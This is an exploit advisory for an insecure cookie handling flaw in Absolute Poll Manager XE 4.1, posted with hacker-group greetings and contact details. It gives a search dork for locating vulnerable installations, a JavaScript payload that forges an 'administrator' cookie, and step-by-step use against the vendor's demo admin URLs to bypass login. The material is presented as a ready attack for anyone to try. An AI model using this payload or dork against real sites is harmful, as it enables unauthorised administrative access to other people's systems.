Absolute Poll Manager XE 4.1 Cookie Handling Vulnerability

############################################################################################### _____ ____ __ ___ ______ ______ | ____ _____ _____ | / ___| \ \ / / / ____| / | | | | _ \ | |_____ | | _ \ V / | | | | ___| |_____ | |_) | |_____ | | |_ || | | | |____ | | | | | | _ | | |_____ \____| |_| \_____| \_____/ |___| |____ |__| \_\ ______| # Discovered By : Hakxer # Home : Www.educ-up.com # Type Gap : Insecure cookie handling # script : Absolute Poll Manager XE v 4.1 [see script] http://www.xigla.com/absolutepm/demo.htm # Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member # Team : EgY Coders ################################################################################################# # Dork : " Absolute Poll Manager XE " # Poc ==> javascript:document.cookie="xlaAPM%5Fusr=administrator"; # Demo Script < Test> # First go to Admin panel : http://www.xigla.com/absolutepm/xlaabsolutepm/login.asp # [~] Exploit this : javascript:document.cookie="xlaAPM%5Fusr=administrator"; # And Go to http://www.xigla.com/absolutepm/xlaabsolutepm/menu.asp # See Admin panel .. # Have Fun :D ############################################################################### -------------------------------- The End of Gap ----------------------------------- ## Contact : aq5@windowslive.com ### Muslim Hacker .. I love you Mohammed Rasull Allah ######################################################